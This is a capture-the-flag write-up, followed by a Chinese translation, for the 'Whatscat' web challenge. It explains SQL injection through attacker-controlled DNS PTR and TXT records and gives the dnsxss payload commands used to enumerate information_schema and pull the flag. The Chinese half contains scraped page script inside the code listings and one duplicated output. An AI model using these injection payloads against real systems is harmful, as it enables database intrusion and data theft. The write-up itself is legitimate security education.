SQL Injection via DNS

This is my writeup for Whatscat, just about the easiest 300-point Web level I've ever solved! I wouldn't normally do a writeup about a level like this, but much like the mtpox level I actually wrote the exact tool for exploiting this, and even wrote a blog post about it almost exactly 4 years ago - April of 2010. Unlike mtpox, this tool isn't the least bit popular, but it sure made my life easy!

The set up

Whatscat is a php application where people can post photos of cats and comment on them (Here's a copy of the source).

The vulnerable code is in the password-reset code, in login.php, which looks like this:

  elseif (isset($_POST["reset"])) {
    $q = mysql_query(sprintf("select username,email,id from users where username='%s'",
      mysql_real_escape_string($_POST["name"])));
    $res = mysql_fetch_object($q);
    $pwnew = "cat".bin2hex(openssl_random_pseudo_bytes(8));
    if ($res) {
      echo sprintf("<p>Don't worry %s, we're emailing you a new password at %s</p>",
        $res->username,$res->email);
      echo sprintf("<p>If you are not %s, we'll tell them something fishy is going on!</p>",
        $res->username);
$message = <<<CAT
Hello. Either you or someone pretending to be you attempted to reset your password.
Anyway, we set your new password to $pwnew

If it wasn't you who changed your password, we have logged their IP information as follows:
CAT;
      $details = gethostbyaddr($_SERVER['REMOTE_ADDR']).
        print_r(dns_get_record(gethostbyaddr($_SERVER['REMOTE_ADDR'])),true);
      mail($res->email,"whatscat password reset",$message.$details,"From: [email protected]\r\n");
      mysql_query(sprintf("update users set password='%s', resetinfo='%s' where username='%s'",
              $pwnew,$details,$res->username));
    }
    else {
      echo "Hmm we don't seem to have anyone signed up by that name";
    }

Specifically, these lines:

      $details = gethostbyaddr($_SERVER['REMOTE_ADDR']).
        print_r(dns_get_record(gethostbyaddr($_SERVER['REMOTE_ADDR'])),true);
      mail($res->email,"whatscat password reset",$message.$details,"From: [email protected]\r\n");
      mysql_query(sprintf("update users set password='%s', resetinfo='%s' where username='%s'",
              $pwnew,$details,$res->username));

The $details variable is being inserted into the database unescaped. I've noted in the past that people trust DNS results just a bit too much, and this is a great example of that mistake! If we can inject SQL code into a DNS request, we're set!

...this is where I wasted a lot of time, because I didn't notice that the print_r() is actually part of the same statement as the line before it - I thought only the reverse DNS entry was being put into the database. As such, my friend Mak—who was working on this level first—tried to find a way to change the PTR record, and broke all kinds of SkullSpace infrastructure as a result.

I ended up trying to log in as 'admin'/'password', and, of course, failed. On a hunch, I hit 'forgot password' for admin. That sent me to a Mailinator-like service. I logged into the mailbox, and noticed somebody trying to sql inject using TXT records. This wasn't an actual admin—like I thought it was—it was another player who just gave me a huge hint (hooray for disposable mail services!). Good fortune!

Knowing that a TXT record would work, it actually came in handy that Mak controls the PTR records for all SkullSpace ip addresses. He could do something useful instead of breaking stuff! The server I use for blogs (/me waves) and such is on the SkullSpace network, so I got him to set the PTR record to test.skullseclabs.org. In fact, if you do a reverse lookup for '206.220.196.59' right now, you'll still see that:

$ host blog.skullsecurity.org
blog.skullsecurity.org is an alias for skullsecurity.org.
skullsecurity.org has address 206.220.196.59
$ host 206.220.196.59
59.196.220.206.in-addr.arpa domain name pointer test.skullseclabs.org.

I control the authoritative server for test.skullseclabs.org—that's why it exists—so I can make it say anything I want for any record. It's great fun! Though arguably overkill for this level, at least I didn't have to flip to my registrar's page every time I wanted to change a record; instead, I can do it quickly using a tool I wrote calleddnsxss. Here's an example:

$ sudo ./dnsxss --payload="Hello yes this is test"
Listening for requests on 0.0.0.0:53
Will response to queries with: Hello/yes/this/is/test

$ dig -t txt test123.skullseclabs.org
[...]
;; ANSWER SECTION:
test123.skullseclabs.org. 1     IN      TXT     "Hello yes this is test.test123.skullseclabs.org"

All I had to do was find the right payload!

The exploit

I'm not a fan of working blind, so I made my own version of this service locally, and turned on SQL errors. Then I got to work constructing an exploit! It was an UPDATE statement, so I couldn't directly exploit this - I could only read indirectly by altering my email address (as you'll see). I also couldn't figure out how to properly terminate the sql string (neither '#' nor '-- ' nor ';' properly terminated due to brackets). In the end, my payload would:

  • Tack on an extra clause to the UPDATE that would set the 'email' field to another value
  • Read properly right to the end, which means ending the query with "resetinfo='", so the "resetinfo" field gets set to all the remaining crap

So, let's give this a shot!

./dnsxss --payload="test', email='test1234', resetinfo='"

Then I create an account, reset the password from my ip address, and refresh. The full query—dumped from my test server—looks like:

update users set password='catf7a252e008616c94', resetinfo='test.skullseclabs.orgArray ( [0] => Array ( [host] => test.skullseclabs.org [class] => IN [ttl] => 1 [type] => TXT [txt] => test', email='test1234', resetinfo='.test.skullseclabs.org [entries] => Array ( [0] => test', email='test1234', resetinfo=' ) ) ) ' where username='ron'

As you can see, that's quite a mess (note that the injected stuff appears twice.. super annoying). After that runs, the reset-password page looks like:

Don't worry ron, we're emailing you a new password at test1234

If you are not ron, we'll tell them something fishy is going on!

Sweet! I successfully changed my password!

But... what am I looking for?

MySQL has this super handy database called information_schema, which contains tables called 'SCHEMATA', 'TABLES', and 'COLUMNS', and it's usually available for anybody to inspect. Let's dump SCHEMATA.SCHEMA_NAME from everything:

./dnsxss --payload="test', email=(select group_concat(SCHEMA_NAME separator ', ') from information_schema.SCHEMATA), resetinfo='"

Then refresh a couple times to find:

Don't worry ron, we're emailing you a new password at information_schema, mysql, performance_schema, whatscat

If you are not ron, we'll tell them something fishy is going on!

Great! Three of those are built-in databases, but 'whatscat' looks interesting. Now let's get table names from whatscat:

./dnsxss --payload="test', email=(select group_concat(TABLE_NAME separator ', ') from information_schema.TABLES where TABLE_SCHEMA='whatscat'), resetinfo='"

Leads to:

Don't worry ron, we're emailing you a new password at comments, flag, pictures, users

If you are not ron, we'll tell them something fishy is going on!

flag! Sweet! That's a pretty awesome looking table! Now we're one simple step away... what columns does 'flag' contain?

./dnsxss --payload="test', email=(select group_concat(COLUMN_NAME separator ', ') from information_schema.COLUMNS where TABLE_NAME='flag'), resetinfo='"

Leads to:

Don't worry ron, we're emailing you a new password at flag

If you are not ron, we'll tell them something fishy is going on!

All right, we know the flag is in whatscat.flag.flag, so we write one final query:

./dnsxss --payload="test', email=(select group_concat(flag separator ', ') from whatscat.flag), resetinfo='"

Which gives us:

Don't worry ron, we're emailing you a new password at 20billion_d0llar_1d3a

If you are not ron, we'll tell them something fishy is going on!

And now we dance.

Conclusion

If you're interested in DNS attacks—this scenario and a whole bunch of others—come see my talk at BSidesQuebec this June!!!

0x00 分析-中文版


Whatscat是一个可以上传猫咪的照片并且可以评论的php应用,地址:

https://blogdata.skullsecurity.org/whatscat.tar.bz2

漏洞代码存在于login.php的密码重置模块,如下:

        
  1. elseif ( isset ( $_POST [ "reset" ])) {
  2. $q = mysql_query ( sprintf ( "select username,email,id from users where username='%s'" ,
  3. mysql_real_escape_string ( $_POST [ "name" ])));
  4. $res = mysql_fetch_object ( $q );
  5. $pwnew = "cat" . bin2hex ( openssl_random_pseudo_bytes ( 8 ));
  6. if ( $res ) {
  7. echo sprintf ( "<p>Don't worry %s, we're emailing you a new password at %s</p>" ,
  8. $res -> username , $res -> email );
  9. echo sprintf ( "<p>If you are not %s, we'll tell them something fishy is going on!</p>" ,
  10. $res -> username );
  11. $message = <<< CAT
  12. Hello . Either you or someone pretending to be you attempted to reset your password .
  13. Anyway , we set your new password to $pwnew
  14. If it wasn 't you who changed your password, we have logged their IP information as follows:
  15. CAT;
  16. $details = gethostbyaddr($_SERVER[' REMOTE_ADDR ']).
  17. print_r(dns_get_record(gethostbyaddr($_SERVER[' REMOTE_ADDR '])),true);
  18. mail($res->email,"whatscat password reset",$message.$details,"From: [email protected]<script cf-hash="f9e31" type="text/javascript">
  19. /* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */</script>\r\n");
  20. mysql_query(sprintf("update users set password=' % s ', resetinfo=' % s ' where username=' % s '",
  21. $pwnew,$details,$res->username));
  22. }
  23. else {
  24. echo "Hmm we don' t seem to have anyone signed up by that name ";
  25. }

注意如下代码:
      
  1. $details = gethostbyaddr ( $_SERVER [ 'REMOTE_ADDR' ]).
  2. print_r ( dns_get_record ( gethostbyaddr ( $_SERVER [ 'REMOTE_ADDR' ])), true );
  3. mail ( $res -> email , "whatscat password reset" , $message . $details , "From: [email protected]<script cf-hash=" f9e31 " type=" text / javascript ">
  4. /* <![CDATA[ */!function(){try{var t=" currentScript "in document?document.currentScript:function(){for(var t=document.getElementsByTagName(" script "),e=t.length;e--;)if(t[e].getAttribute(" cf - hash "))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute(" data - cfemail ");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */</script>\r\n" );
  5. mysql_query ( sprintf ( "update users set password='%s', resetinfo='%s' where username='%s'" ,
  6. $pwnew , $details , $res -> username ));
$details变量未编码即插入数据库中。我注意到过去人们过于相信DNS查询返回的结果,这是这种误区的最好事例!如果我们能够在DNS请求中插入SQL语句,就万事大吉了!

在完成Whatscat挑战过程中,我点击forgot password,输入用户名:admin,然后它发送给我的一个Mailinator,一个邮件服务器。我登录这个邮箱,注意到有些人尝试通过TXT记录进行SQL注入,这些可能是其他用户留下的记录。

这个TXT记录实际上是用于便捷地控制所有SkullSpace ip地址的PTR记录,它能够做一些有用的事情而不是用来破坏!我用这个服务器做blog和一些在SkullSpace网络上的东西,然后我通过它设置了test.skullseclabs.org的PTR记录。实际上,如果你对206.220.196.59进行DNS解析,你会看见如下内容:

        
  1. $ host blog . skullsecurity . org
  2. blog . skullsecurity . org is an alias for skullsecurity . org .
  3. skullsecurity . org has address 206.220 . 196.59
  4. $ host 206.220 . 196.59
  5. 59.196 . 220.206 . in - addr . arpa domain name pointer test . skullseclabs . org .
我为test.skullseclabs.org控制了授权服务器,所以我可以伪造任意记录。虽然对于这个级别来说是杀鸡用牛刀,但是至少我不用每次为了改变一条记录而翻到注册页面,并且我可以使用我写的一个叫做dnsxss的工具快速做到:

https://github.com/iagox86/nbtool

      
  1. $ sudo ./ dnsxss -- payload = "Hello yes this is test"
  2. Listening for requests on 0.0 . 0.0 : 53
  3. Will response to queries with : Hello / yes / this / is / test
  4. $ dig - t txt test123 . skullseclabs . org
  5. [...]
  6. ;; ANSWER SECTION :
  7. test123 . skullseclabs . org . 1 IN TXT "Hello yes this is test.test123.skullseclabs.org"
现在要做的就是找到合适的payload!

0x01 The exploit


我并不是盲注的fans,所以我在本地服务器搭了一个版本,打开SQL错误。然后我开始开发一个exploit!这是一条update语句,所以不能直接注入。我只能间接地通过将数据库内容返回在email上来读取。我也不知道如何适当地终止SQL语句(既不用#,也不用--,以及;),最终我的payload将能够:

    UPDATE其他的值到email字段上
恰当地读到最后,意味着用”resetinfo=”结束查询,所以”resetinfo=”字段会被余下部分填充。

  

最终payload如下:

    ./dnsxss --payload="test', email='test1234', resetinfo='"

  

我创建了一个账户,从我的ip重置密码,刷新。在测试服务器上完整的语句如下:

    update users set password='catf7a252e008616c94', resetinfo='test.skullseclabs.orgArray ( [0] => Array ( [host] => test.skullseclabs.org [class] => IN [ttl] => 1 [type] => TXT [txt] => test', email='test1234', resetinfo='.test.skullseclabs.org [entries] => Array ( [0] => test', email='test1234', resetinfo=' ) ) ) ' where username='ron'

  

运行之后,重置密码内容如下:

    Don't worry ron, we're emailing you a new password at test1234

If you are not ron, we'll tell them something fishy is going on!

  

已经成功重置了密码!

但是我想要的不是这个!

Mysql有一个非常便利的数据库叫做information_schema,可以通过它导出所有内容,修改payload如下:

    ./dnsxss --payload="test', email=(select group_concat(SCHEMA_NAME separator ', ') from information_schema.SCHEMATA), resetinfo='"

  

找回密码,刷新一下,收到如下邮件:

    Don't worry ron, we're emailing you a new password at information_schema, mysql, performance_schema, whatscat

If you are not ron, we'll tell them something fishy is going on!

  

得到whatscat的所有表名:

    ./dnsxss --payload="test', email=(select group_concat(TABLE_NAME separator ', ') from information_schema.TABLES where TABLE_SCHEMA='whatscat'), resetinfo='"

  

收到邮件:

    ./dnsxss --payload="test', email=(select group_concat(TABLE_NAME separator ', ') from information_schema.TABLES where TABLE_SCHEMA='whatscat'), resetinfo='"

  

得到flag表的所有列名:

    ./dnsxss --payload="test', email=(select group_concat(COLUMN_NAME separator ', ') from information_schema.COLUMNS where TABLE_NAME='flag'), resetinfo='"

  

收到邮件:

    Don't worry ron, we're emailing you a new password at flag

If you are not ron, we'll tell them something fishy is going on!

  

最后取出列中的内容:

    ./dnsxss --payload="test', email=(select group_concat(flag separator ', ') from whatscat.flag), resetinfo='"

  

得到flag:

    Don't worry ron, we're emailing you a new password at 20billion_d0llar_1d3a

If you are not ron, we'll tell them something fishy is going on!

  

0x02 总结


这篇paper的重点是通过伪造了PTR的记录类型,将DNS查询的TXT记录定向到自己控制的dns服务器,从而控制了DNS插叙返回的内容,而人们往往是无条件信任DNS查询返回的内容。